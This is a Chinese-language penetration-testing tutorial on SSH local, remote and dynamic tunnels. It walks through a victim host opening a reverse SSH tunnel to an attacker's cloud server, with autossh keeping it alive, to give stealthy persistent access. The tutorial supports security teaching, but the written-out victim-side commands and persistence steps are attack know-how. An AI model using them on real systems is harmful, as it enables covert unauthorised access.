每个字都认识 通篇用不起来系列
又是学习的时间,本篇主要介绍一下Linux下在渗透实战过程中非常使用的隧道技术,通过使用不同的工具,结合不同的场景帮助理清不同网络条件下如何突破内网,建立稳定连接,为进一步的渗透测试奠定基础。在实战中,端口转发和端口复用技术能够帮助我们更好执行相关命令,本篇基于以上叙述,开始梳理相关技术。
SSH隧道
SSH隧道:隧道的概念是将一种网络协议封装在了另外一个协议里面。这里我们是将这些通讯协议放到了ssh协议里面,所有的流量都是加密的。
由于隧道协议传输涉及将流量数据重新打包为其他格式的内容,于是打包前进行加密可以有效的防止数据丢失或窃取,并且通信过程和传统隧道相比是非常隐蔽的。
SSH隧道在Linux系统渗透测试过程中可谓是“居家旅行,杀人越货”的必备之物,好处之一在于绝大多数
Linux系统都运行了SSH服务
因此不必安装额外的应用进行隧道搭建操作
且SSH支持的功能和参数众多,但正常情况下一般使用-p参数指定端口,其实还有很多非常nice的功能
SSH参数
SSH命令支持的参数众多,详情可见SSH参数详解
挑选几个比较重要的着重展示一下:
-1:强制使用ssh协议版本1;
-2:强制使用ssh协议版本2;
-4:强制使用IPv4地址;
-6:强制使用IPv6地址;
-A:开启认证代理连接转发功能;
-a:关闭认证代理连接转发功能;
-b:使用本机指定地址作为对应连接的源ip地址;
-C:请求压缩所有数据;
-F:指定ssh指令的配置文件;
-f:后台执行ssh指令;
-g:允许远程主机连接主机的转发端口;
-i:指定身份文件;
-l:指定连接远程服务器登录用户名;
-N:不执行远程指令;
-o:指定配置选项;
-p:指定远程服务器上的端口;
-q:静默模式;
-X:开启X11转发功能;
-x:关闭X11转发功能;
-y:开启信任X11转发功能。
当然上面的参数叙述还是不全,没有涉及到下面我们要提到的隧道。
根据相关资料,一般把SSH隧道分为3类:本地隧道、远程隧道、动态隧道,分别对应以下参数
-L port:host:hostport
将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. IPv6 地址用另一种格式说明: port/host/hostport
-R port:host:hostport
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发 IPv6 地址用另一种格式说明: port/host/hostport
-D port
指定一个本地机器 `动态的` 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS4/5 协议, 将充当 SOCKS4/5 服务器. 可以在配置文件中指定动态端口的转发.
不同隧道对应的场景和功能各不相同,下面我们以不同场景为例讲解一下SSH隧道
场景一
攻击者主机A: 192.168.197.41
受害者主机B: 192.168.248.156
攻击者云端主机C: 47.89.185.120
其中:
A可以连接B,A可以连接C,B可以连接C
攻击者A想持续控制主机B,但是A连接B的时间比较漫长,且步骤较为繁琐
因此攻击者想把B的22端口转发到云端主机C上,这样攻击者每次只需要连接C主机就可以控制B主机了
连接关系图如下:
所以攻击者想建立一条从B到C的SSH隧道,这样攻击者只需要连接C主机的特定端口即可完成对主机B连接
既然要SSH登录受害者主机B,首先我们需要在主机B上有一个可以登录的帐号,密码登录或密钥登录均可,根据/etc/ssh/sshd_config文件配置来。本例会分别介绍密码登录和密钥登录的情况。
主机B:192.168.248.156
新建帐号:test,密码:123456test
与此同时,由于是打一条从B到C的隧道,那么也需要在主机C上有一个可以登录的帐号,一般使用密码登录简单一些,有一些心大的同学上来就是用C的root用户建立一条隧道,这个还是比较危险的,一旦B主机上有比较厉害的操作审计软件,C主机的root密码就泄漏了。所以安全起见,我们也在C主机上新建一个帐号。
主机C: 47.89.185.120
新建帐号:testmg ,密码:123456testmg
OK,准备工作就绪,我们就开始打隧道了,我们计划把主机B的22端口转发到主机C的7777端口,相关防火墙策略已经开好,此处不赘述。
首先来到受害者主机B,执行以下命令
ssh -p 22 -qngfNTR 7777:127.0.0.1:22 testmg@47.89.185.120
其它参数不提,主要参数在于R,建立远程隧道,将本机的22端口转发到47.89.185.120的7777端口,-p 22实际上是C主机的SSH端口,不要混淆,这里的关系一定要明晰
-p 22 、7777、testmg@47.89.185.120 都是主机C相关
-qngfNTR 、127.0.0.1:22才是受害者主机B相关
如果隧道建立成功,此时就相当于SSH登录主机C的testmg帐号了,回显应该和SSH登录新主机一样,确认公钥,输入密码,然后连接成功
当然俗话说的好“世间之事如棋局”,在第一次尝试的过程中发现,命令输入完以后直接无回显,什么反应都没有。
那就开始排查吧,首先主机C的7777端口访问策略已经开通,因此连接被拒绝的可能被排除。
由于上述命令里面,有-q参数,开始走静默模式,所以也没有回显,现在干脆只保留最重要的-R参数
ssh -p 22 -R 7777:127.0.0.1:22 testmg@47.89.185.120
出现回显,显示
Permission denied (publickey,gssapi-keyex,gssapi-with-mic)
问题比较明显:公-私钥认证的过程出错了,我们希望使用密码登录主机C的,C主机之前为了安全,设置了只支持密钥登录,解决方法也很多,ssh免密码登录Permission denied (publickey,gssapi-keyex,gssapi-with-mic) 的解决方案
所以来到主机C,root用户修改/etc/ssh/sshd_config文件,允许密码登录
PasswordAuthentication yes
然后保存并重启sshd
service sshd restart
接着回到主机B,尝试建立隧道,此时显示需要输入testmg的密码,输入完成后无回显(截图时非首次登录,因此没有确认公钥的部分)
来到主机C,看一下隧道建立前后的端口变化
可以看到主机C已经建立7777端口的连接,且服务名称为sshd testmg
此时隧道已经建立成功了,主机B的22端口已经转发到主机C的7777端口上,我们在主机C上直接访问本机的7777端口就可以访问主机B的22端口
ssh -p 7777 test@127.0.0.1
此时的test帐号为主机B上的帐号
输入对应的密码后,登录成功
执行相关命令可看到此时的IP为主机B的IP
此时在主机B上执行last或w命令,显示的登录IP为127.0.0.1,端口也无异样,比较隐蔽
那么我们此时能不能直接从主机A访问主机C的7777端口,实现访问主机B的22端口呢?
结果就是连接被拒绝,主机C上建立的连接是127.0.0.1的7777端口,自然不允许非本机登录,除非连接是(0.0.0.0:7777或:::7777),具体的详细原因,教程后面的远程隧道部分会详细叙述。
此为SSH远程隧道的特性,如果只建立这么一条隧道,那么只能在隧道的另一方登录。
好的,下面说一下从主机C密钥登录受害者主机B
建立隧道部分和上文一致,此时主要是生成密钥对和设置主机B允许密钥登录
还是在主机B上生成test用户的密钥对
切换到test用户登录的情况下使用ssh-keygen命令在/home/test/.ssh/目录下生成密钥对id_rsa和id_rsa.pub
然后将公钥id_rsa写入test用户的authorized_keys文件中,同时注意authorized_keys文件权限为600,/home/test/.ssh文件夹权限为700
还是需要设置/etc/ssh/sshd_config文件,设置允许密钥方式登录
PubkeyAuthentication yes
保存并重启sshd服务
如果还是不清楚以上过程,参考这篇文章设置SSH通过密钥登录
以上完成后,我们把私钥文件id_rsa拷贝到主机C,准备开始尝试密钥登录
ssh -i id_rsa test@127.0.0.1 -p 7777
使用-i命令,指定私钥文件登录
结果显示报错:说私钥不受保护啊,权限不对
en.....
好吧,真是善于为他人着想,好吧,改一下私钥文件的权限为600,再试
OK,登录成功,密钥的权限不对也会影响本机的登录
看了上面的过程,可能有小伙伴会疑惑,这过程这么复杂,直接反弹shell不好吗?
其实反弹shell当然也是可以的,步骤比较简单,但是相对SSH,稳定性会差一些,且反弹shell的动作比较大,某些情况下也比较受限。
且SSH隧道所有流量均经过加密,安全性更高
总结一下,在帐号和sshd配置完成的情况下,其实需要的命令也只要两条:
受害者主机执行:
ssh -p 22 -qngfNTR 7777:127.0.0.1:22 testmg@47.89.185.120
云端主机执行:
ssh -p 7777 test@127.0.0.1
适用场景:
攻击者主机A可以连接主机C
受害者主机B可以连接主机C
攻击者主机A可以在受害者主机B上执行命令
缺陷:
SSH连接会因为超时而关闭,如果长时间不连接,隧道就会断开
还是以上例说明,上午10点建立的7777端口隧道,在下午3点查看主机C端口情况,发现连接已经断开
这个问题就比较尴尬了,难道每次都要上B打一次隧道?
这个自然是有解决方法的:使用autossh,这个软件会在超时之后自动重新建立SSH 隧道,这样就解决了隧道的稳定性问题。
首先可以在受害者主机B上使用yum或者apt-get安装autossh
然后在B上执行
autossh -p 22 -M 6777 -NR 7777:127.0.0.1:22 testmg@47.89.185.120
-p 22 、7777、testmg@47.89.185.120 都是主机C相关
-NR 、127.0.0.1:22才是受害者主机B相关
-M 6777 会在主机B和主机C上使用指定的端口用来监听隧道的状态,与端口转发无关
命令执行完,会让输入主机C上testmg用户密码,输入正确以后,就会卡在此处,实际上隧道已经打通了
我们在主机C上尝试使用主机B的test帐号登录一下本机7777端口
登录成功
查看一下受害者主机B的端口和进程情况
可以看到autossh本质上还是通过起ssh进程的方式实现了隧道的建立
再看一下主机C上的端口情况
可以看到除了原有的7777端口外,还增加了6777端口的连接,用于监听7777隧道的状态,实现自动重连
这样,除非受害主机杀死autossh进程,否则隧道是一直建立的,这样解决了隧道脆弱性的问题。
相关资料见:SSH反向隧道进行内网穿透
上面的案例主要介绍了如何利用SSH隧道进行内网穿透,其实SSH3大隧道各有适用的场景,本篇只是开了一个头,希望各位在今后的渗透中可以灵活运用。